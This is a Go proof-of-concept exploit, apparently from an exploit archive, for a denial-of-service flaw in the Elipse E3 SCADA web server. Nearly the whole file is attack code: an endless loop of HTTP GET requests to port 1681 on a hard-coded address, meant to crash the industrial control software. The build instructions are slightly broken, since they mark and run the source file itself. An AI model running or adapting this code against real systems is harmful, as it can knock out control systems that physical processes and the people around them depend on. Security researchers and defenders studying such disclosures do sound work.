Elipse E3 HTTP Denial of Service

// Exploit Http DoS Request for SCADA ATTACK Elipse 3

// Mauro Risonho de Paula Assumpção aka firebits

// mauro.risonho@gmail.com

// 29-10-2013 11:42

// Vendor Homepage: http://www.elipse.com.br/port/index.aspx

// Software Link: http://www.elipse.com.br/port/e3.aspx

// Version: 3.x and prior

// Tested on: windows

// CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8652

// NVD : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8652

// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections

// exploit in Golang (golang.com) C Google

// compile and execute:

// go build Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go

// chmod +x Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go

// ./Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go

 

package main

 

import (

    "fmt"

    "io/ioutil"

    "log"

    "net/http"

)

 

func main() {

    count := 1

//  fmt.Println ("")

//  fmt.Println ("   _____.__              ___.   .__  __           ")

//  fmt.Println (" _/ ____\__|______   ____\_ |__ |__|/  |_  ______ ")

//  fmt.Println (" \   __\|  \_  __ \_/ __ \| __ \|  \   __\/  ___/ ")

//  fmt.Println (" |  |  |  ||  | \/\  ___/| \_\ \  ||  |  \___ \  ")

//  fmt.Println (" |__|  |__||__|    \___  >___  /__||__| /____  > ")

//  fmt.Println ("                       \/    \/              \/  ")

//  fmt.Println ("                   bits on fire. ")

    fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")

    fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")

    fmt.Println ("29-10-2013 11:42")

    fmt.Println ("mauro.risonho@gmail.com")

    fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")

    fmt.Println ("20 requests connections per second")

 

    for {

        count += count

        //http://192.168.0.1:1681/index.html -> Elipse 3 http://<ip-elipse4><port listen: default 1681>

 

        fmt.Println ("Exploit Http DoS Request for SCADA ATTACK Elipse 3")

        fmt.Println ("Mauro Risonho de Paula Assumpção aka firebits")

        fmt.Println ("29-10-2013 11:42")

        fmt.Println ("mauro.risonho@gmail.com")

        fmt.Println ("Hard lock Dll crash in Windows 2003 SP2 + ")

        fmt.Println ("20 requests connections")

 

        fmt.Println ("Connected Port 1681...Testing")

        fmt.Println ("Counter Loops: ", count)

 

        res, err := http.Get("http://192.168.0.1:1681/index.html")

        if err != nil {

            log.Fatal(err)

        }

            robots, err := ioutil.ReadAll(res.Body)

            res.Body.Close()

            if err != nil {

            log.Fatal(err)

        }

        fmt.Printf("%s", robots)

    }

}